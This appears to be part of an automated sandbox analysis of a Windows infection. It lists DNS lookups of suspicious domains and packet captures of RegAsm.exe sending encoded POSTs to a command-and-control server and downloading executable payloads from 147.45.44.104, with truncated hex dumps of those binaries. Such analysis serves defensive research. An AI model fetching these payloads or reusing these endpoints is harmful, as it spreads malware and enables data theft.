Oct 2, 2024 17:17:13.010232925 CEST	1.1.1.1	192.168.2.6	0x2cf7	No error (0)	treatynreit.site		172.67.184.196	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:14.881735086 CEST	1.1.1.1	192.168.2.6	0xca14	No error (0)	snarlypagowo.site		104.21.18.193	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:14.881735086 CEST	1.1.1.1	192.168.2.6	0xca14	No error (0)	snarlypagowo.site		172.67.183.74	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:15.882900000 CEST	1.1.1.1	192.168.2.6	0x1337	No error (0)	mysterisop.site		104.21.21.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:15.882900000 CEST	1.1.1.1	192.168.2.6	0x1337	No error (0)	mysterisop.site		172.67.195.67	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:16.588690042 CEST	1.1.1.1	192.168.2.6	0xbe3c	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:17.075370073 CEST	1.1.1.1	192.168.2.6	0xa30e	No error (0)	absorptioniw.site		172.67.177.186	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:17.075370073 CEST	1.1.1.1	192.168.2.6	0xa30e	No error (0)	absorptioniw.site		104.21.17.174	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:19.028357983 CEST	1.1.1.1	192.168.2.6	0x6f70	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:20.908917904 CEST	1.1.1.1	192.168.2.6	0x1670	No error (0)	gravvitywio.store		104.21.16.12	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:20.908917904 CEST	1.1.1.1	192.168.2.6	0x1670	No error (0)	gravvitywio.store		172.67.209.193	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:31.072757959 CEST	1.1.1.1	192.168.2.6	0x18a5	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:31.783199072 CEST	1.1.1.1	192.168.2.6	0xe717	Name error (3)	chorusarorp.site	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 17:17:38.567738056 CEST	1.1.1.1	192.168.2.6	0xbdf5	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api64.ipify.org

https:

ipinfo.io

iplogger.org

steamcommunity.com

49.12.197.9

questionsmw.store

soldiefieop.site

abnomalrkmu.site

treatynreit.site

snarlypagowo.site

mysterisop.site

absorptioniw.site

gravvitywio.store

41.216.188.190

147.45.44.104

46.8.231.109

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49722	41.216.188.190	80	5632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:15:52.813575029 CEST	204	OUT	GET /api/wp-ping.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 41.216.188.190
Oct 2, 2024 17:15:53.560409069 CEST	259	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:15:53 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Oct 2, 2024 17:15:56.450511932 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 41.216.188.190
Oct 2, 2024 17:15:56.450582027 CEST	133	OUT	Data Raw: 64 61 74 61 3d 44 58 2d 61 6c 69 73 67 47 45 61 73 78 69 71 30 70 77 63 35 55 71 6a 6d 36 79 6c 45 78 68 6e 4c 66 50 48 49 79 52 67 73 43 74 5f 49 43 58 59 44 58 36 31 56 67 51 5a 4b 39 39 6c 68 52 4c 6d 76 6a 65 67 4d 62 48 39 57 5f 31 73 30 6a Data Ascii: data=DX-alisgGEasxiq0pwc5Uqjm6ylExhnLfPHIyRgsCt_ICXYDX61VgQZK99lhRLmvjegMbH9W_1s0jSWrXowhJFGeTZEAAiE2DJHsijlJhg9BFXrcdulgE4OHu3Ppf1YP
Oct 2, 2024 17:15:57.406681061 CEST	362	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:15:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 50 30 73 53 75 50 58 46 69 5a 45 49 61 61 47 4f 79 4c 32 75 30 71 4f 37 58 68 6d 4f 49 4f 44 46 49 50 52 63 52 76 4d 4e 52 69 73 62 59 32 34 5a 4a 7a 79 61 68 39 6a 39 42 59 59 4c 6b 73 36 58 33 35 41 35 53 39 54 71 56 42 70 63 34 4d 4f 4e 33 4f 46 2f 59 71 45 41 62 49 64 66 6d 7a 57 79 53 6f 69 54 2f 5a 53 59 34 70 59 3d Data Ascii: P0sSuPXFiZEIaaGOyL2u0qO7XhmOIODFIPRcRvMNRisbY24ZJzyah9j9BYYLks6X35A5S9TqVBpc4MON3OF/YqEAbIdfmzWySoiT/ZSY4pY=
Oct 2, 2024 17:15:57.530168056 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 41.216.188.190
Oct 2, 2024 17:15:57.530203104 CEST	133	OUT	Data Raw: 64 61 74 61 3d 64 65 32 6b 46 2d 42 45 6a 69 76 31 56 47 2d 36 31 53 77 4a 76 34 64 38 35 69 61 70 73 62 30 69 2d 77 50 78 73 70 68 66 6f 4c 52 74 4b 47 6d 5a 4f 6f 73 64 61 6c 78 4c 67 57 68 6a 76 49 57 69 4b 7a 4d 42 58 59 78 77 55 43 71 73 2d Data Ascii: data=de2kF-BEjiv1VG-61SwJv4d85iapsb0i-wPxsphfoLRtKGmZOosdalxLgWhjvIWiKzMBXYxwUCqs-SwuXsiF7COMjnxUSZGQP_z5S2njbfkzbhPr3957DSDgpf_RGo3n
Oct 2, 2024 17:15:58.776236057 CEST	510	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:15:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 256 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 4c 48 73 66 33 6f 39 45 31 5a 57 43 6c 31 4f 68 66 69 41 2f 6b 4c 65 78 34 55 52 4f 4b 39 32 41 4a 43 36 6a 50 5a 50 4e 2f 69 2f 76 53 57 75 6a 4d 32 34 34 77 53 48 52 51 53 4b 6c 54 79 55 31 64 4c 4d 52 53 78 44 68 78 47 55 43 32 6f 2b 34 59 5a 69 74 4d 75 36 4e 75 61 57 47 51 5a 76 6e 78 49 37 38 63 45 4a 30 65 58 52 31 31 35 63 43 57 75 47 4f 39 44 5a 37 4a 44 52 39 54 4d 4a 61 4b 4e 46 6d 61 71 4a 6b 47 6d 64 6b 6c 79 75 31 44 71 41 43 6d 71 6e 51 5a 73 30 37 77 4d 58 66 66 2b 39 67 6c 2b 62 50 36 64 44 4a 4b 61 76 32 77 4d 72 6d 52 6a 78 37 2b 73 41 56 58 66 66 75 46 73 58 32 49 6c 4f 71 70 36 77 4d 47 6c 54 51 4b 67 47 6b 6f 45 52 77 73 64 61 31 58 5a 6c 73 69 6d 43 79 77 55 2b 33 74 37 67 63 71 75 2f 41 44 4e 64 4a 78 5a 55 6c 36 67 33 76 34 71 31 Data Ascii: fLHsf3o9E1ZWCl1OhfiA/kLex4UROK92AJC6jPZPN/i/vSWujM244wSHRQSKlTyU1dLMRSxDhxGUC2o+4YZitMu6NuaWGQZvnxI78cEJ0eXR115cCWuGO9DZ7JDR9TMJaKNFmaqJkGmdklyu1DqACmqnQZs07wMXff+9gl+bP6dDJKav2wMrmRjx7+sAVXffuFsX2IlOqp6wMGlTQKgGkoERwsda1XZlsimCywU+3t7gcqu/ADNdJxZUl6g3v4q1
Oct 2, 2024 17:16:00.542603016 CEST	276	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 325 Host: 41.216.188.190
Oct 2, 2024 17:16:00.542603016 CEST	325	OUT	Data Raw: 64 61 74 61 3d 5a 54 6e 30 58 6b 6d 55 67 78 32 30 30 33 45 5a 62 50 68 38 46 33 59 61 78 69 4b 66 4a 66 64 50 38 59 6b 2d 49 43 73 59 54 32 4b 47 6a 45 74 34 46 59 4c 33 71 31 6c 57 51 72 2d 73 75 54 33 57 64 65 4d 39 42 4a 4f 5f 2d 53 75 70 63 Data Ascii: data=ZTn0XkmUgx2003EZbPh8F3YaxiKfJfdP8Yk-ICsYT2KGjEt4FYL3q1lWQr-suT3WdeM9BJO_-Supccx3ad1JN4j6VeamyUJBYeaGAMcQ3ta_pGtH7e7V65PQXHLtsqsNe_VQDv1SkQ1xN5JvPBgKDJYfusuBWXfTcwNF9wep6g49SKwuL9k2P9DXX79ZkgrFibbUl006zSK3L-ebbm2rspwwEouKnD7NCN_BqEHL7SozNI
Oct 2, 2024 17:16:01.702488899 CEST	362	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 15:16:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 36 4b 49 2b 70 55 75 31 4f 42 64 6c 6e 5a 61 38 73 71 61 41 46 47 56 37 68 35 41 33 73 35 6d 39 6f 68 4f 38 73 75 50 2f 56 6b 49 6a 6f 75 51 6d 4c 6a 4c 75 46 2f 56 57 35 30 70 39 54 64 56 2f 38 2b 53 34 42 6a 45 44 66 75 67 43 69 6e 7a 6e 79 47 33 5a 4b 56 31 68 31 72 53 47 67 2b 46 59 68 56 62 68 50 33 44 71 54 33 55 3d Data Ascii: 6KI+pUu1OBdlnZa8sqaAFGV7h5A3s5m9ohO8suP/VkIjouQmLjLuF/VW50p9TdV/8+S4BjEDfugCinznyG3ZKV1h1rSGg+FYhVbhP3DqT3U=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49725	147.45.44.104	80	5632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:15:58.958652020 CEST	221	OUT	HEAD /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:15:59.611227989 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:15:59 GMT Content-Type: application/octet-stream Content-Length: 423840 Last-Modified: Tue, 01 Oct 2024 13:44:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfccd-677a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Oct 2, 2024 17:15:59.646140099 CEST	220	OUT	GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:15:59.834049940 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:15:59 GMT Content-Type: application/octet-stream Content-Length: 423840 Last-Modified: Tue, 01 Oct 2024 13:44:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfccd-677a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0f > @@ `>S@BxQ(&``= H.text `.rsrcB@"@@.reloc`&@B>H@+ B,Je8Xf3Zmv$:rXM6'4,OT!BC\|[{2yd?1d2mU5A93B[ltP3fAyz$[Yi[v\Bqg^pd{t}y[PvyH @'2^4h7!OwJxiv?G6^`q8NZ-TuW1zK_7-H<fz(7-@{%xB#"S4
Oct 2, 2024 17:15:59.834072113 CEST	1236	IN	Data Raw: ea 2c 4e af 9d f1 ad fe a3 ce 11 d4 91 82 69 4f dc df 93 1b de fd c1 23 54 b7 a1 91 d5 00 dc 6a 4e bc 46 c3 41 19 10 12 ed ba 0a e8 68 cc 6a be 05 70 86 96 cb 22 26 d3 78 55 2d e0 cd d2 60 0b 8d 08 c2 34 c9 af 91 0e e8 a2 32 2a c0 e6 26 eb f8 48 Data Ascii: ,NiO#TjNFAhjp"&xU-`42&H_\Jn@ #}&rx!F$N/Xisx0+aNux#YD;X@c_a)\|i-?so-f/nkj/8{,jyweJ
Oct 2, 2024 17:15:59.834084988 CEST	1236	IN	Data Raw: 59 3c 7e 25 7f ff 0c cd 0a e6 cf f9 f5 6f 25 ec 4e 1d 9f c5 4b 70 3f 62 b1 1c 03 8c 71 f9 fb 6a c6 ba e7 02 26 de 61 9b 64 af c8 cb 28 66 e8 63 47 8b e7 7b 56 64 29 10 12 c9 77 b2 f7 20 c0 86 1d c2 d6 a7 97 c7 a6 7e 39 23 f0 bc a6 a2 10 5a 77 3c Data Ascii: Y<~%o%NKp?bqj&ad(fcG{Vd)w ~9#Zw<e%P]"3bYdgP'T\|Y}!S4E~R%?[_7B$+Ne<knB{'sUvz2G7O,]9xntxBZpg%}]L'k
Oct 2, 2024 17:15:59.834263086 CEST	1236	IN	Data Raw: 07 bf de da 93 24 11 b8 3f 40 f5 d7 92 05 78 2d f1 f7 eb 9d 89 32 e9 e2 50 4f b3 63 b0 08 40 cd ad 76 67 c5 63 ff 7f 38 51 f8 ad 40 7d 72 a9 2e b7 43 c0 11 74 ef 63 21 5d 6f d8 d5 31 e8 f2 0c 73 ea 8f 4a 71 9e ec 6a b9 c2 58 0f 2d 74 21 91 0d c3 Data Ascii: $?@x-2POc@vgc8Q@}r.Ctc!]o1sJqjX-t!HM\|N^wVGy_"}ra]8X@)w_`@UA^k?nU7 L`kTM5I,KLiP6:XLTyJ[f2:-Q+Zs:JQ
Oct 2, 2024 17:15:59.834275007 CEST	1236	IN	Data Raw: cd 5e 11 17 46 fe ee 2c 9c ea d6 83 39 ab 1c be bf 5f db 51 1f 64 a6 19 c9 f6 39 95 ef 3c 9a d3 be 05 33 c6 28 a8 5a 04 2a 90 b7 3f 58 1d ec c1 8d 9a d7 6d cb 79 cc 70 1a f5 f4 f0 c4 66 24 04 95 78 6e 9c a9 94 63 a8 f6 38 38 4a d4 c6 21 7c 10 89 Data Ascii: ^F,9_Qd9<3(Z*?Xmypf$xnc88J!\|_ht!-eDYDx]R-Cz<ozA_ny6h?ji[]hO&P6j+c+vS7V,j.oH_rD.N_~)wT
Oct 2, 2024 17:15:59.834285975 CEST	1236	IN	Data Raw: 80 f3 49 99 ae 5e c7 6c 8c 2a 9d af f4 11 2e 06 51 77 2e 43 44 73 03 a8 1b be 56 a6 4a 31 10 12 75 d6 bf 8a 7a a5 a0 26 dc af ac e2 36 d4 b9 aa d3 ba 30 eb 1b 1d a4 a9 e9 7f 20 37 f0 a1 48 ca c7 a3 d1 5b 15 c5 27 fc f3 ed fa 4e cc 2f eb af 7d 44 Data Ascii: I^l*.Qw.CDsVJ1uz&60 7H['N/}D?tVg3p(rO)5kR`LW\|78.m6+"ixJ/!"I#\1c<1t&q7%rEsms?a6
Oct 2, 2024 17:15:59.834297895 CEST	1236	IN	Data Raw: 17 77 bc e1 a9 31 10 03 ee f9 6b d8 fd b5 43 48 e7 ef 07 ba 26 35 4c 43 b2 4f e4 d5 08 5a d1 33 44 ff ff 55 c3 b0 97 86 0e b9 6b 8e d9 9b f9 3b c0 bc 0f 98 70 6d f4 f6 8d 99 d6 9a 21 f8 eb cb a3 9e ff f9 67 3b 2d a2 dc c3 b0 ec 1f c1 c5 ae 12 fb Data Ascii: w1kCH&5LCOZ3DUk;pm!g;-[hsufM(bjRD=rRsLG-rvLZQZCTINf^i&ZK^d[?>FD.Z`CDu)945pY@d^uqTXS}FK
Oct 2, 2024 17:15:59.834351063 CEST	1236	IN	Data Raw: b3 3d 3f a9 7f 20 a3 20 30 9c 74 e6 6a 48 0d 6c 44 dc 77 29 f3 a8 99 0f 27 23 63 07 20 be e3 9b 36 52 f6 46 86 59 5c cc 71 76 86 2f 88 87 59 1e ba c1 8b 7f 05 73 a1 72 d4 d6 7d f8 41 c9 7c 83 dd 86 d0 c2 30 12 01 81 c2 cb 38 5f 43 38 7f 52 dc 6b Data Ascii: =? 0tjHlDw)'#c 6RFY\qv/Ysr}A\|08_C8RkW7C\|h+s[yC7$g%?0t5G""-$,=Jsv<CbPA_;;YI.'>e5x~UQ"V)L`#XvB
Oct 2, 2024 17:15:59.834362030 CEST	1236	IN	Data Raw: 66 cc 64 4e 9a 26 51 25 de 33 71 c7 f5 96 e4 c9 a6 a9 19 65 57 56 d9 8e ee db 50 a6 30 7d 31 cd c9 e4 e4 9c d1 38 00 2b cc 78 c4 b0 e7 e8 74 67 26 35 aa 4a 29 ae fb 71 d6 b6 ec b9 51 96 32 9b 48 b9 f7 f3 84 a1 ca fe d7 c9 b2 d0 be 5a 57 3a e2 e3 Data Ascii: fdN&Q%3qeWVP0}18+xtg&5J)qQ2HZW:5DLg~b>pY,cJo[FoE\Up=WL1k5}J]<!KyvSKxda>NP_:E"Hc7"2)m,G(j+[tr30o
Oct 2, 2024 17:15:59.834372044 CEST	1236	IN	Data Raw: e0 43 5f db 30 3d bc c5 11 d5 31 5b 12 98 55 1f 9d 58 f1 37 88 16 35 11 31 51 b6 e3 f5 8f 63 62 00 b4 51 45 67 c6 d4 e7 df c5 7d 55 0a 0a 74 63 c6 95 9f 7f 2c 98 68 55 51 21 0c 9a 94 e7 d3 f6 35 e0 2a 25 3c 10 86 ff dc e1 34 df b6 ab 6c 17 a2 8b Data Ascii: C_0=1[UX751QcbQEg}Utc,hUQ!5%<4l"12nO7&wvP+WWmUN;~K'{#Sys@Sb!Ve]!F,"p9A*eG}RX8mdP$gl
Oct 2, 2024 17:15:59.834383965 CEST	1236	IN	Data Raw: 16 79 ef d7 3d 26 1d e2 ef 66 b8 64 0c 20 a0 89 80 4f 90 f5 c3 bb cb 5f c1 12 03 60 28 17 ad c6 7a 19 c5 6a 18 e2 ca f7 59 85 9d a3 a0 4d 52 08 54 63 13 06 1e 35 58 ec 5b 12 07 50 63 4e 31 be 1e 5d f7 50 f1 56 ec dc 54 49 15 62 15 76 e8 bc 24 a5 Data Ascii: y=&fd O_`(zjYMRTc5X[PcN1]PVTIbv$]<k%]V\Qp[aWEh\!1X(3Dg=1<GfoniFqx$2/8{r8cMp~N7)XmN<ONWV^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	65263	147.45.44.104	80	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 17:17:06.189735889 CEST	191	OUT	GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Oct 2, 2024 17:17:06.841145992 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:06 GMT Content-Type: application/octet-stream Content-Length: 391072 Last-Modified: Tue, 01 Oct 2024 13:44:41 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66fbfcc9-5f7a0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 20 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 a0 05 00 00 06 00 00 00 00 00 00 ee be 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 a2 22 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 05 00 53 00 00 00 00 c0 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 d1 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 60 bd 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL f @ "`SBx(&` H.text `.rsrcB@@.reloc@BH@ [(<sTw/x~ITT5Q>zbS/2Ew>/dt_so>UVSa5JKYw.#s"-d-7avn\].Lt:2o1!q9_OK^")0.3$5,}3cxz2I}Ie$ .V OGUa$+%\B-U3nc,lffo` bO
Oct 2, 2024 17:17:06.841178894 CEST	1236	IN	Data Raw: 16 63 32 13 dd d1 52 94 12 5d 30 6f 8c 66 c8 d4 eb ac d4 3c d5 39 1e 15 5e 6e 5c fb d2 d4 be ba 0a 5c d0 e3 32 ad 1a 0e 06 3d 1b 6e 6b ee d8 37 20 e6 2c 6f 92 38 ca ac 23 e8 62 f1 06 bc 2a 9e 54 a5 88 67 7d 71 42 b8 5b 00 ee 92 f0 da d3 1d de 7a Data Ascii: c2R]0of<9^n\\2=nk7 ,o8#bTg}qB[zl_63Bu!g<NS_V?i^</V-vG/=OtQpV_,&H"fQ~+pS0Pzm(=/}T$]L7(I"T%{
Oct 2, 2024 17:17:06.841196060 CEST	1236	IN	Data Raw: 51 79 83 92 4f a5 86 9d 0e 9d 8c 6c 26 59 fc 7c 7e 06 9f 9d c9 72 03 ab 71 a8 79 50 30 0e 12 83 b4 bd 2b d4 f0 e5 6a bc 67 66 b5 d8 bb 03 76 3d 8e 28 a4 1c 69 f5 3e c9 3f db 95 c8 2b e0 d7 5d 47 57 f3 d6 ae e9 77 14 4b 7f 7b c1 a2 f3 b2 e1 a0 db Data Ascii: QyOl&Y\|~rqyP0+jgfv=(i>?+]GWwK{ZdS8Co(QXv#cI8?lfbq&=tL<r=VvX7"WS_0TC#s0f0{S\tly(x=8[r0
Oct 2, 2024 17:17:06.841211081 CEST	1236	IN	Data Raw: 54 c0 a7 c5 b4 cf 54 a6 0f da 5a 80 92 0b 34 8f 52 a1 9a fb 79 0a bf 77 e5 c0 96 a1 1d 9d 4c 60 f1 2c 1a 5d fb 2f a8 af d8 f6 04 5b a7 30 9e cd d1 d7 aa 06 38 88 4d 9d 4f 1a 48 ee 99 18 98 f8 28 6f 94 74 7a 07 b7 40 53 52 42 31 59 d9 fb 81 0a 82 Data Ascii: TTZ4RywL`,]/[08MOH(otz@SRB1YDisi\&*N_+kW=Xg}Rk]Rw%y:F{'Gk:Q#1$RY4[(f2:7T~}]q7xlWyy>/u,$vD9&}uG
Oct 2, 2024 17:17:06.841226101 CEST	1236	IN	Data Raw: d8 9b c1 e5 ca f7 9c bb b1 14 45 6e 8c f9 5f 32 83 7d 2f 55 7d 6b d9 63 fd 22 aa 01 33 60 a0 0b a9 d6 be 74 ec 70 d5 a0 ba 55 f7 41 69 2f 7a c2 da a2 51 1c fb 9d e3 d2 2b 50 20 84 7b 47 ce 23 ee c5 b2 af dd f6 f5 41 89 ef ff ed 28 5f 51 1f c1 42 Data Ascii: En_2}/U}kc"3`tpUAi/zQ+P {G#A(_QBY)~#y]jdzR39lkyT%lrhVOMDo\|fc9phSHWI^`3%%k,%^klv<=@d5*]>gz<0
Oct 2, 2024 17:17:06.841238976 CEST	1120	IN	Data Raw: cd d8 e0 03 eb 36 4a f9 ff 1f 71 90 ef 05 ea 41 61 0f c2 fe db c1 45 73 ea b9 e5 70 8f 35 26 8d 56 21 f0 76 86 e0 fe 62 ca 2e a3 0e 63 1b ab 09 8b 15 73 5b b8 a3 78 b1 36 bc 2d af e7 ec d7 b6 01 47 63 5e 59 c2 0a 88 74 f2 04 1e 5b 14 31 ec ed b3 Data Ascii: 6JqAaEsp5&V!vb.cs[x6-Gc^Yt[1Y?fIXf0Y/~n-Lf3A3k?<0nxkS_\|JxLu+V%RnrP+Dc-gp6\q<9L9[X<d8xCq
Oct 2, 2024 17:17:06.841249943 CEST	1236	IN	Data Raw: be 99 be e1 c6 40 eb 45 36 d9 b4 c8 59 fc f6 af af 4d 65 53 11 dd ef 18 cf 7c eb b5 5a 0a b4 c4 73 b6 39 c4 42 20 85 04 94 16 f1 b7 5b 89 f7 94 23 70 66 1b fb a2 07 47 9f 80 36 a7 b1 74 9a 90 e9 31 e9 c6 53 19 44 a2 b4 e3 3c d9 af cd 68 9f 1e 9e Data Ascii: @E6YMeS\|Zs9B [#pfG6t1SD<h\|vS\|x<BnP-{!TPVT&)s)<\|}j z1L:*jxxWw,$u+#UN3h3i tv56'KkEW_}Zy+:U
Oct 2, 2024 17:17:06.841262102 CEST	1236	IN	Data Raw: eb 4a e4 f3 74 38 8a cb 38 97 42 88 d7 e4 56 49 21 78 54 6c 0b c8 28 da 93 de ef 63 69 f0 11 d0 4d a0 5f 69 2f 39 20 37 a2 a8 ca f2 d1 3b bd ee 5f 02 66 d4 15 4b 5e 87 4e a7 f8 d2 bf 0b 6a 7a f7 10 7c 51 dc e1 2c d3 ff 40 77 b2 ee 14 38 77 2c e6 Data Ascii: Jt88BVI!xTl(ciM_i/9 7;_fK^Njz\|Q,@w8w,;b2Z(E\|B`6#{Sk6 />84/^bv8ne2z0d\|3jSTbC.5w\|\|l`Iukon58!qW!JrGH;D
Oct 2, 2024 17:17:06.841275930 CEST	1236	IN	Data Raw: c0 06 54 78 7f 9b e9 d6 7f 35 f7 68 36 da b8 8f 0a 1f 54 30 44 45 eb 37 10 bd b5 1b 31 e0 40 ca 53 a9 ee 16 35 cf 40 a4 b8 b1 3c 5f 84 6a f7 43 a4 ff 75 6b dc 72 eb 10 d4 0d 00 61 9e 07 30 21 db 35 58 2d 4b 3a 32 e1 b4 c2 51 00 5f ae a5 fe 96 b8 Data Ascii: Tx5h6T0DE71@S5@<_jCukra0!5X-K:2Q_?\|xdcX/-0{S8tb{ R w]}$1>0>VDP:kXU@'cmdIdKh-^`2-OOcjHkpckQh<
